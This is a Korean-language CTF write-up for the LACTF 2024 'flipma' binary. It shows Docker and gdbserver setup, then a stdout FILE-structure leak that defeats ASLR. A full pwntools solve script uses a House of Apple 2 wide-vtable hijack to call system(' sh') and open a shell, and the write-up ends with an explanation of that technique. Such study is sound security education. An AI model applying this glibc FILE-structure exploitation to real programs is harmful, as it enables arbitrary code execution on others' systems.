checksec
seo@seo:~/study/LACTF2024/flipma$ checksec ./flipma [*] '/home/seo/study/LACTF2024/flipma/flipma' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
Docker configure
sudo docker build . -t flipma sudo docker run -it --rm --privileged --security-opt seccomp=unconfined -p 1337:1337 flipma sh
- Host
seo@seo:~/study/LACTF2024/flipma$ nc -lp 1338 > libc.so.6 seo@seo:~/study/LACTF2024/flipma$ nc -lp 1338 > ld-linux-x86-64.so.2
- Guest
/lib # cat libc.so.6 | nc 172.17.0.1 1338 /lib # cat ld-linux-x86-64.so.2 | nc 172.17.0.1 1338
ubuntu 20.04 환경 필요도커에서 환경 구축하는걸로…우분투 20.04 LTS 환경으로 변경
seo@seo:~/study/LACTF2024/flipma$ strings -tx ./flipma ... 3014 GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0 ...
Dropbear/gdbserver in Docker
sudo docker build . -t flipma sudo docker run -it --rm --privileged --security-opt seccomp=unconfined -p 1337:1337 -p 22222:22222 -p 12345:1234 flipma sh
- Guest
cd /bin nc -lvp 1337 > gdbserver nc -lvp 1337 > gdb nc -lvp 1337 > dropbearmulti ln -sf dropbearmulti dropbear ln -sf dropbearmulti dbclient ln -sf dropbearmulti dropbearkey ln -sf dropbearmulti dropbearconvert ln -sf dropbearmulti ssh mkdir -p /etc/dropbear dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key dropbearkey -t dss -f /etc/dropbear/dropbear_dss_host_key dropbearkey -t ecdsa -f /etc/dropbear/dropbear_ecdsa_host_key chmod 600 /etc/dropbear/* passwd root #0000 dropbear -p 22222
- Host
static 빌드 gdb, gdbserver, dropbearmulti 다운로드 링크
https://github.com/guyush1/gdb-static/releases/tag/v16.2-static
https://bitfab.org/dropbear-static-builds
cat gdbserver | nc 127.0.0.1 1337 cat gdb | nc 127.0.0.1 1337 cat dropbearmulti | nc 127.0.0.1 1337
Running prob in Docker
while true; do nc -lvp 1337 -e /srv/app/run done
Decompile src
main
flips의 값에 따라 계속 flip을 호출할 수 있음.
int __fastcall main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); while ( flips > 0 ) flip(); puts("no more flips"); return 0; }
flip
flip 함수를 호출할때마다 마지막에 flips수를 감소함. 전역변수인 flips 초기값은 4이므로, 총 4번 호출가능.
각각 a, b 값을 v1, v2에 담음. stdin->_flags
의 포인터에 v1
값을 더한 뒤, 그 더한 결과의 포인터 값과 v2
값을 1과 왼쪽 시프트한 값을 xor 연산.
int flip() { __int64 v1; // [rsp+10h] [rbp-10h] unsigned __int64 v2; // [rsp+18h] [rbp-8h] write(1, "a: ", 3u); v1 = readint(); write(1, "b: ", 3u); v2 = readint(); if ( v2 >= 8 ) return puts("we're flipping bits, not burgers"); *((_BYTE *)&stdin->_flags + v1) ^= 1 << v2; return --flips; } __int64 readint() { char buf[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); read(0, buf, 16u); return atol(buf); }
Analysis
환경: leak이 되지 않아 Ubuntu 20.04 LTS로 변경.
FILE 포인터 구조체.
$ cat /usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ void *_markers; void *_chain; int _fileno; int _flags2; uint64_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; void *_lock; uint64_t _offset; /* Wide character stream stuff. */ void *_codecvt; void *_wide_data; void *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[20]; };
gef➤ p *(FILE *)0x00007ffff7fb1980 $3 = { _flags = 0xfbad208b, _IO_read_ptr = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "", _IO_read_end = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "", _IO_read_base = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "", _IO_write_base = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "", _IO_write_ptr = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "", _IO_write_end = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "", _IO_buf_base = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "", _IO_buf_end = 0x7ffff7fb1a04 <_IO_2_1_stdin_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7fb37f0 <_IO_stdfile_0_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7fb1a60 <_IO_wide_data_0>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\000' <repeats 19 times> }
수정1.
_IO_2_1_stdout + 0x1 지점을 수정
sla("a: ", str(0xD21)) sla("b: ", str(3))


>>> hex(0x20 ^ (1 << 3)) '0x28'
_IO_2_1_stdout_→_flags
0x00000000fbad2087 → 0x00000000fbad2887
gef➤ x/gx 0x00007ffff7fb1980+0xd20 0x7ffff7fb26a0 <_IO_2_1_stdout_>: 0x00000000fbad2887
수정2.
sla("a: ", str(0xD21)) sla("b: ", str(4))
>>> hex(0x28 ^ (1 << 4)) '0x38'
_IO_2_1_stdout_→_flags
0x00000000fbad2887 → 0x00000000fbad3887
gef➤ x/gx 0x00007ffff7fb1980+0xd20 0x7ffff7fb26a0 <_IO_2_1_stdout_>: 0x00000000fbad3887
수정3.
sla("a: ", str(0xD41)) sla("b: ", str(5))
>>> hex(0x27 ^ (1 << 5)) '0x7'
_IO_2_1_stdout_→_IO_write_base
Before: _IO_write_base = 0x7ffff7fb2723 <IO_2_1_stdout+131> “”,
After: _IO_write_base = 0x7ffff7fb0723 <xdrstdio_ops+35> “\367\377\177”,
수정4. (사실상 수정X)
sla("a: ", str(0xD41)) sla("b: ", str(-1))
puts("we're flipping bits, not burgers") + (LEAK)
Before:
_IO_write_base = 0x7ffff7fb0723 <xdrstdio_ops+35> “\367\377\177”,
After puts:
_IO_write_base = 0x7ffff7fb2723 <IO_2_1_stdout+131> “\n”,
_flags
= 0xfbad3887 ( 0xfbad2887 | _IO_IS_APPENDING
)
_IO_write_base = 0x7ffff7fb0723 해당 주소부터 LEAK됨.
new_do_write
libc 2.31-0ubuntu9.17 소스코드 링크:
https://launchpad.net/ubuntu/%2Bsource/glibc/2.31-0ubuntu9.17?utm_source=chatgpt.com
_IO_IS_APPENDING (0x1000)
플래그가 SET되면,
static size_t new_do_write (FILE *fp, const char *data, size_t to_do) { size_t count; if (fp->_flags & _IO_IS_APPENDING) /* On a system without a proper O_APPEND implementation, you would need to sys_seek(0, SEEK_END) here, but is not needed nor desirable for Unix- or Posix-like systems. Instead, just indicate that offset (before and after) is unpredictable. */ fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); if (fp->_cur_column && count) fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1; _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base; fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp->_IO_buf_base : fp->_IO_buf_end); return count; }
_IO_2_1_stdout_->_IO_write_base
내용이 LEAK됨
count = _IO_SYSWRITE (fp, \ _IO_2_1_stdout_->_IO_write_base, \ _IO_2_1_stdout_->_IO_write_ptr - _IO_2_1_stdout_->_IO_write_base);
Defeat ASLR
LEAK 시작점은 _IO_write_base = 0x7ffff7fb0723.
ASLR 빼면, 00000000001EB723.
여기서 +0x825시, stdout got 주소를 가리킴.
.got:00000000001EBF48 stdout_ptr dq offset stdout ; DATA XREF: vprintf+4↑r .got:00000000001EBF48 ; printf+91↑r ...
해당 주소는 다시 flipma 바이너리의 stdout을 가리킴.
0x4020을 빼면 flipma base 주소 구하기 가능.
gef➤ p/x 0x007ffff7dc5000 + 0x0000000001EBF48 $3 = 0x7ffff7fb0f48 gef➤ x/gx 0x7ffff7fb0f48 0x7ffff7fb0f48: 0x0000555555558020 gef➤ p/x 0x0000555555558020-0x00555555554000 $4 = 0x4020
.bss:0000000000004020 public stdout@@GLIBC_2_2_5 .bss:0000000000004020 ; FILE *stdout .bss:0000000000004020 stdout@@GLIBC_2_2_5 dq ? ; DATA XREF: main+1C↑r .bss:0000000000004020 ; LOAD:00000000000051D8↓o .bss:0000000000004020 ; Alternative name is 'stdout' .bss:0000000000004020 ; Copy of shared data
libc base LEAK은 leak 시작 +5지점에서 0x157f10 빼면 됨.
.data.rel.ro:00000000001EB720 dq offset sub_157F30 .data.rel.ro:00000000001EB728 dq offset sub_157F10
sla("a: ", str(0xD21)) sla("b: ", str(3)) sla("a: ", str(0xD21)) sla("b: ", str(4)) sla("a: ", str(0xD41)) sla("b: ", str(5)) sla("a: ", str(0xD41)) sla("b: ", str(-1)) leak = p.recvuntil(b"we're") libc_base = u64(leak[5:5+8]) - 0x157f10 bin_base = u64(leak[0x825:0x825+8]) - 0x4020 success(f"libc_base: {hex(libc_base)}") success(f"bin_base: {hex(bin_base)}")
seo@ubuntu:~/study/LACTF2024/flipma$ python3 solve.py [+] Starting local process './flipma': pid 6991 [+] libc_base: 0x7ffff7dc5000 [+] bin_base: 0x555555554000 [*] Switching to interactive mode flipping bits, not burgers a: $
Increase flips count
Before flips: 0x1
After flips: 0x81 (=129)
flips = bin_base + e.symbols["flips"] libc_stdin = libc_base + l.symbols["_IO_2_1_stdin_"] success(f"flips: {hex(flips)}") success(f"stdin: {hex(libc_stdin)}") sla("a: ", str(flips - libc_stdin)) sla("b: ", str(7))
>>> (0x1 ^ (1 << 7)) 129
House of Apple by roderick01
1. 가짜 _wide_vtable
생성
- 위치:
chunk_addr + 0x100
__doallocate
의 오프셋은0x68
이므로,chunk_addr + 0x100 + 0x68
에system
주소를 저장
# (struct _IO_FILE_plus *)->_wide_data = new_vtable aaw(libc_stdout + 0xA0, new_vtable, libc_base + 0x1EC880) # (struct _IO_jump_t *)->__doallocate = system aaw(new_vtable + 0x168, libc_base+l.symbols["system"], 0)
2. 가짜 _wide_data
생성
- 위치:
chunk_addr
chunk_addr->_wide_vtable
→chunk_addr + 0x100
(가짜 vtable의 주소)
# (struct _IO_wide_data*)->_wide_vtable = new_vtable + 0x100 aaw(new_vtable + 0xE0, new_vtable + 0x100, 0)
3. 기타 stderr
필드 설정
stderr->vtable
→_IO_wfile_jumps
로 설정- 이로 인해 원래
_IO_new_file_overflow
대신_IO_wfile_overflow
호출됨
- 이로 인해 원래
# (struct _IO_FILE_plus *)->vtable = _IO_wfile_jumps aaw(libc_stdout + 0xD8, libc_wfile_jumps, libc_file_jumps)
4. stderr->_flags
값을 적절히 설정
- 중요 사항:
- 마지막에
wide_vtable->__doallocate(stderr)
→system(stderr)
이 호출됨 - 즉,
system
의 인자로는stderr->_flags
가 문자열 시작 주소로 사용됨
- 마지막에
- 조건도 만족하면서 원하는 명령을 실행시키기 위한 트릭:
- roderick01 방식:
_flags
에" sh"
(앞에 공백 2개 포함된 문자열) 설정- 조건 만족 +
system(" sh")
호출됨
- roderick01 방식:
aaw(libc_stdout, uu64(b" sh;"), 0x00000000fbad3887)
solve.py
from pwn import * warnings.filterwarnings('ignore') # p = process('./flipma', level="debug") p = process('./flipma') e = ELF('./flipma',checksec=False) l = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims, drop=True: p.recvuntil(delims, drop) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) # _IO_2_1_stdout_->flags #0x00000000fbad2087 → 0x00000000fbad2887 sla("a: ", str(0xD21)) sla("b: ", str(3)) # _IO_2_1_stdout_->flags #0x00000000fbad2887 → 0x00000000fbad3887 sla("a: ", str(0xD21)) sla("b: ", str(4)) # _IO_2_1_stdout_→_IO_write_base #0x7ffff7fb2723 → 0x7ffff7fb0723 sla("a: ", str(0xD41)) sla("b: ", str(5)) # no change sla("a: ", str(0xD41)) sla("b: ", str(-1)) leak = p.recvuntil(b"we") libc_base = u64(leak[5:5+8]) - 0x157f10 bin_base = u64(leak[0x825:0x825+8]) - 0x4020 success(f"libc_base: {hex(libc_base)}") success(f"bin_base: {hex(bin_base)}") flips = bin_base + e.symbols["flips"] libc_stdin = libc_base + l.symbols["_IO_2_1_stdin_"] success(f"flips: {hex(flips)}") success(f"stdin: {hex(libc_stdin)}") sla("a: ", str(flips - libc_stdin)) sla("b: ", str(7)) libc_stdout = libc_base + l.symbols["_IO_2_1_stdout_"] libc_file_jumps = libc_base + l.symbols["_IO_file_jumps"] libc_wfile_jumps = libc_base + l.symbols["_IO_wfile_jumps"] success(f"libc_stdout: {hex(libc_stdout)}") success(f"libc_file_jumps: {hex(libc_file_jumps)}") success(f"libc_wfile_jumps: {hex(libc_wfile_jumps)}") def convert_old(_to, _from): for i in range(255): if _to == (_from ^ (1 << i)): return i def convert(_to, _from): """ _from 에서 _to 로 가기 위해 뒤집어야 할 비트의 인덱스를 한 번에 하나씩 순서대로 반환합니다. """ seq = [] diff = _from ^ _to # diff 가 0 이 될 때까지 반복 while diff: # 최하위 1비트만 추출 lowest = diff & -diff # 그 비트 위치 계산 i = lowest.bit_length() - 1 seq.append(i) # _from 에서 해당 비트를 뒤집어 주고 _from ^= (1 << i) # 다음 diff 갱신 diff = _from ^ _to return seq def aaw(addr, val, orig): val_bytes = val.to_bytes(8, byteorder='little') orig_bytes = orig.to_bytes(8, byteorder='little') for i in range(8): # print(f"val_bytes[i]: {hex(val_bytes[i])}") # print(f"orig_bytes[i]: {hex(orig_bytes[i])}") # print(f"convert(val_bytes[i], orig_bytes[i]): {convert(val_bytes[i], orig_bytes[i])}") b_list = convert(val_bytes[i], orig_bytes[i]) for j in range(len(b_list)): sla("a: ", str(addr+i - libc_stdin)) sla("b: ", str(b_list[j])) new_vtable = libc_base + 0x1ED800 info(f"new_vtable: {hex(new_vtable)}") # pause() # aaw(libc_stdout + 0xA0, 0x4142434445464748, libc_base + 0x1EC880) # def aaw(addr, new, orig): # (struct _IO_FILE_plus *)->_wide_data = new_vtable aaw(libc_stdout + 0xA0, new_vtable, libc_base + 0x1EC880) # (struct _IO_wide_data*)->_wide_vtable = new_vtable + 0x100 aaw(new_vtable + 0xE0, new_vtable + 0x100, 0) # (struct _IO_jump_t *)->__doallocate = system aaw(new_vtable + 0x168, libc_base+l.symbols["system"], 0) # (struct _IO_FILE_plus *)->vtable = _IO_wfile_jumps aaw(libc_stdout + 0xD8, libc_wfile_jumps, libc_file_jumps) aaw(libc_stdout, uu64(b" sh;"), 0x00000000fbad3887) sla("a: ", str(0xD41)) sla("b: ", str(-1)) p.interactive()
Result
seo@ubuntu:~/study/LACTF2024/flipma$ python3 solve.py [+] Starting local process './flipma': pid 16999 [+] libc_base: 0x7ffff7dc5000 [+] bin_base: 0x555555554000 [+] flips: 0x555555558010 [+] stdin: 0x7ffff7fb1980 [+] libc_stdout: 0x7ffff7fb26a0 [+] libc_file_jumps: 0x7ffff7fae4a0 [+] libc_wfile_jumps: 0x7ffff7fadf60 [*] new_vtable: 0x7ffff7fb2800 [*] Switching to interactive mode $ id uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),133(lxd),134(sambashare) $ whoami seo $ ls flipma libc.so.6.id0 libc.so.6.id2 libc.so.6.til solve2.py test.py libc.so.6 libc.so.6.id1 libc.so.6.nam prob solve.py $
About House of Apple
Reference
https://chovid99.github.io/posts/stack-the-flags-ctf-2022/
Gaining Remote Code Execution (RCE)
지금까지 우리는 다음과 같은 상황에 도달했습니다:
- libc 영역에 대한 OOB(Out-Of-Bounds) 쓰기 취약점을 보유하고 있음
- 정보 유출을 통해 libc의 base 주소를 획득함
이제 우리는 이 OOB 버그와 유출된 libc base 주소 정보를 활용해서 RCE(Remote Code Execution)를 달성해야 합니다.
최근에 논의했던 glibc 2.35에서 FILE 구조체 공격을 통해 RIP 제어를 얻는 방법에 대한 지식을 적용해볼 수 있겠다는 생각이 듭니다.
배경 설명을 위해, glibc의 구버전에서는 file->vtable
주소를 우리가 만든 가짜 vtable로 덮어쓸 수 있었고,
이렇게 되면 예를 들어 _IO_OVERFLOW
메서드가 호출될 때, 실제 함수 주소가 아닌 우리가 설정한 주소로 점프하게 만들 수 있었습니다.
하지만, 이는 glibc 측에서 방어가 추가되어 더 이상 쉽게 사용할 수 없습니다.
glibc는 FILE 구조체에 저장된 vtable이 올바른 영역에 존재하는지 여부를 검사하기 때문입니다.
아래 LOC(코드 라인)를 참고하십시오:
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; } #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH) #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS))) #define _IO_JUMPS_FILE_plus(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
예를 들어 어떤 메서드가 _IO_OVERFLOW
를 호출하려고 할 때, 해당 메서드는 vtable
내에서 __overflow
키에 매핑된 포인터로 점프를 시도하게 됩니다.
그러나 점프를 수행하기 전에 IO_validate_vtable
을 호출하여 해당 포인터가 유효한 영역에 위치해 있는지 먼저 검증합니다.
이로 인해, 과거처럼 우리가 가짜 vtable을 설정해 임의의 메서드로 점프하게 만드는 트릭은 더 이상 작동하지 않습니다.
왜냐하면 glibc는 이제 vtable이 올바른 메모리 영역에 있는지를 검사하기 때문입니다.
하지만 이 검사는 오직 “저장된 포인터가 vtable 영역에 존재하는가?”만 검증할 뿐이기 때문에, 우리는 여전히 vtable을 “미스얼라인(misalignment)” 시키는 방식으로 우회할 수 있습니다.
예를 들어 vtable을 한 엔트리만큼 밀어버리면, _IO_OVERFLOW
를 호출할 때 원래의 위치가 아닌 _IO_UNDERFLOW
등 다른 함수로 잘못 점프하게 만들 수 있습니다.
이러한 우회 방법을 악용하려는 시도들이 있었고, 최근에는 kylebot이라는 사람이 작성한 글에서 다음과 같은 사실이 발견되었습니다:
glibc는 _IO_JUMPS_FUNC
매크로를 통해 점프할 때만 vtable에 대한 유효성 검사를 수행하고, wide vtable에 대해 점프할 때 사용하는 _IO_WIDE_JUMPS_FUNC
매크로에서는 검사를 수행하지 않는다는 것입니다.
그리고 몇 달 전, 이와 동일한 취약점을 악용하려 한 또 다른 기사가 발표되었습니다.
바로 House of Apple 2라는 공격 기법으로, 이는 roderick01이라는 작성자가 해당 글에서 소개한 방식입니다.
지금부터는 이 두 블로그를 읽으며 이해한 바를 바탕으로 좀 더 자세히 설명해보겠습니다.
먼저 기억해야 할 점은, 최신 glibc에 도입된 해당 보안 기법은 FILE 구조체에 저장된 vtable이 올바른 영역에 존재하는지 여부만 확인한다는 것입니다.
표준 파일 객체가 사용하는 기본 vtable은 _IO_file_jumps
입니다. 하지만 실제로는 이 영역에 다른 vtable도 다수 존재하고,
그중 하나가 바로 _IO_wfile_jumps
입니다.
아래는 GDB를 통해 출력한 _IO_wfile_jumps
의 기본 엔트리 내용입니다:
gef➤ print __GI__IO_wfile_jumps $11 = { __dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7e20070 <_IO_new_file_finish>, __overflow = 0x7ffff7e1a410 <__GI__IO_wfile_overflow>, __underflow = 0x7ffff7e19050 <__GI__IO_wfile_underflow>, __uflow = 0x7ffff7e178c0 <__GI__IO_wdefault_uflow>, __pbackfail = 0x7ffff7e17680 <__GI__IO_wdefault_pbackfail>, __xsputn = 0x7ffff7e1a8c0 <__GI__IO_wfile_xsputn>, __xsgetn = 0x7ffff7e1f330 <__GI__IO_file_xsgetn>, __seekoff = 0x7ffff7e197d0 <__GI__IO_wfile_seekoff>, __seekpos = 0x7ffff7e22530 <_IO_default_seekpos>, __setbuf = 0x7ffff7e1e620 <_IO_new_file_setbuf>, __sync = 0x7ffff7e1a720 <__GI__IO_wfile_sync>, __doallocate = 0x7ffff7e13f10 <_IO_wfile_doallocate>, __read = 0x7ffff7e1f9b0 <__GI__IO_file_read>, __write = 0x7ffff7e1ef40 <_IO_new_file_write>, __seek = 0x7ffff7e1e6f0 <__GI__IO_file_seek>, __close = 0x7ffff7e1e610 <__GI__IO_file_close>, __stat = 0x7ffff7e1ef30 <__GI__IO_file_stat>, __showmanyc = 0x7ffff7e234a0 <_IO_default_showmanyc>, __imbue = 0x7ffff7e234b0 <_IO_default_imbue> }
이제 _IO_wfile_overflow
함수의 구현을 한번 살펴보겠습니다.
이 함수는 kylebot과 roderick01 두 사람이 모두 발견한 취약 경로 중 하나입니다.
wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } /* If currently reading or no buffer allocated. */ if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) { /* Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == 0) { _IO_wdoallocbuf (f); ... } ... } void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) ... } #define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP) #define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS) #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS) #define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
위에서 볼 수 있듯이, 우리가 WJUMP0
를 트리거할 수 있다면 wide_vtable
에 저장된 포인터가 올바른 영역에 있는지에 대한 검증이 전혀 이루어지지 않습니다.
즉, 우리가 가짜 wide_vtable
을 조작하고 매크로 호출(WJUMP0
)을 유도할 수 있다면, 과거 glibc처럼 우리가 원하는 임의의 주소로 점프할 수 있게 됩니다.
또한 주목할 점은, _IO_WIDE_JUMPS
호출 시 사용되는 vtable은 fp->_wide_data->_wide_vtable
에서 가져온다는 것입니다.
gdb에서 stdfile
구조체를 확인해보면, 그 안에 _wide_data
라는 필드가 있고, 이는 _IO_wide_data_1
이라는 또 다른 구조체를 가리킵니다.
아래는 gdb를 통해 출력한 _IO_wide_data_1
구조체 내 필드입니다:
gef➤ print _IO_wide_data_1 $10 = { _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, ... _shortbuf = L"", _wide_vtable = 0x7ffff7faa0c0 <__GI__IO_wfile_jumps> <- This is the one that we can overwrite with our fake vtable }
이 정보를 바탕으로 보면, 만약 우리가 FILE
구조체의 vtable을 _IO_file_jumps
에서 _IO_wfile_jumps
로 미스얼라인시키고, __overflow
호출을 트리거할 수 있다면, 다음과 같은 호출 체인이 발생할 수 있습니다.
아래는 그 호출 체인입니다:
Assuming that we overwrite the FILE->vtable from _IO_file_jumps to _IO_wfile_jumps. When the binary try to call _IO_OVERFLOW (fp, EOF), the chain would be: _IO_OVERFLOW (fp, EOF) |_ JUMP1 (__overflow, fp, EOF) |_ (_IO_JUMPS_FUNC(fp)->__overflow) (fp, EOF) |_ ((IO_validate_vtable (_IO_JUMPS_FILE_plus (fp)))->__overflow) (fp, EOF) <- Because we overwrite it to point to _IO_wfile_jumps, it will call _IO_wfile_overflow instead of _IO_new_file_overflow. This is still valid because its location is still in the correct region |_ _IO_wfile_overflow(fp, EOF) |_ _IO_wdoallocbuf(fp) |_ _IO_WDOALLOCATE(fp) |_ WJUMP0 (__doallocate, fp) |_ (_IO_WIDE_JUMPS_FUNC(fp)->__doallocate) (fp) |_ (_IO_WIDE_JUMPS(fp)->__doallocate) (fp) <- No Validation #profit :D
이 호출을 달성하기 위해서는 다음과 같은 제약 조건들을 만족해야 합니다:
🔹 _IO_wfile_overflow
함수 내부에서 _IO_wdoallocbuf
를 호출하도록 하려면 다음 조건들을 통과해야 합니다:
if (f->_flags & _IO_NO_WRITES)
→ **False
*를 반환해야 함if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
→ **True
*를 반환해야 함if (f->_wide_data->_IO_write_base == 0)
→ **True
*를 반환해야 함
🔹 _IO_wdoallocbuf
함수 내부에서 _IO_WDOALLOCATE
호출로 진입하려면 다음 조건들을 만족해야 함:
if (fp->_wide_data->_IO_buf_base)
→ **False
*를 반환해야 함if (!(fp->_flags & _IO_UNBUFFERED))
→ **True
*를 반환해야 함
※ IO_UNBUFFERED
의 값은 0x0002
이므로, 결국 fp->_flags & _IO_UNBUFFERED == 0
이어야 조건을 만족함
이 모든 조건을 충족하게 되면,
**fp->_wide_data->wide_vtable->__doallocate
**에 저장된 포인터로 점프하게 되며,
이때 rdi
는 FILE 구조체 자체(fp)를 가리키는 포인터가 됩니다.
따라서, glibc 2.35에서도 다음과 같은 방식으로 FILE 구조체 공격 경로를 구성할 수 있습니다:
예를 들어, 우리가 가짜 wide_vtable
을 만들어서 __doallocate
항목이 system
을 가리키도록 설정한다면,
_IO_WDOALLOCATE(fp)
가 호출될 때 **system(fp)
**를 실행하게 됩니다.
그리고 우리가 fp
의 내용을 조작해서 "sh"
를 실행하도록 구성해두면,
셸을 획득하게 되는 것입니다! 😄
하지만 먼저 해결해야 할 문제가 하나 있습니다:
어떻게 _IO_OVERFLOW
를 트리거할 수 있을까요?
이 부분은 바이너리의 세 번째 메뉴 항목인 exit 기능을 악용함으로써 가능합니다.
이와 관련된 자세한 호출 체인 내용은 제가 이전에 작성한 FILE 구조체 공격에 관한 글에서 확인할 수 있습니다.
간단히 요약하자면, exit을 호출하면 바이너리는 다음과 같은 함수 호출 체인을 따라가게 됩니다:
exit |_ _IO_cleanup |_ _IO_flush_all_lockp Iterate list of available files (stderr->stdout->stdin), and on each iteration it will call: |_ _IO_OVERFLOW (fp, EOF)
다음은 _IO_OVERFLOW
를 호출하기 위한 조건입니다 (_IO_flush_all_lockp
코드에서 발췌):
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
- 즉, 우리는
_mode
를0
으로 설정하고,_IO_write_ptr > _IO_write_base
조건을 만족시켜야 합니다.
- 즉, 우리는
exit()
호출 시 모든 열린 파일들을 순회하게 되므로,
OOB(out-of-bound) write 버그를 이용해 stderr
파일 구조체를 덮어쓰기로 선택했습니다.
RCE를 얻기 위해 stderr
구조체에 적용해야 할 설정 요약:
1. 가짜 _wide_vtable
생성
- 위치:
chunk_addr + 0x100
※chunk_addr
는libc_base - 0xf7ff0
위치에 있음 __doallocate
의 오프셋은0x68
이므로,chunk_addr + 0x100 + 0x68
에system
주소를 저장
2. 가짜 _wide_data
생성
- 위치:
chunk_addr
chunk_addr->_IO_write_base
→0
으로 설정chunk_addr->_IO_buf_base
→0
으로 설정chunk_addr->_wide_vtable
→chunk_addr + 0x100
(가짜 vtable의 주소)
3. stderr->_flags
값을 적절히 설정
- 중요 사항:
- 마지막에
wide_vtable->__doallocate(stderr)
→system(stderr)
이 호출됨 - 즉,
system
의 인자로는stderr->_flags
가 문자열 시작 주소로 사용됨
- 마지막에
- 조건도 만족하면서 원하는 명령을 실행시키기 위한 트릭:
- kylebot 방식:
_flags
에0x3b01010101010101
설정_IO_read_ptr
에"/bin/sh\\x00"
저장- 이 경우 최종적으로 실행되는 명령은
system("\\x01\\x01\\x01\\x01\\x01\\x01\\x01;/bin/sh")
→ 쉘 실행 가능
- roderick01 방식:
_flags
에" sh"
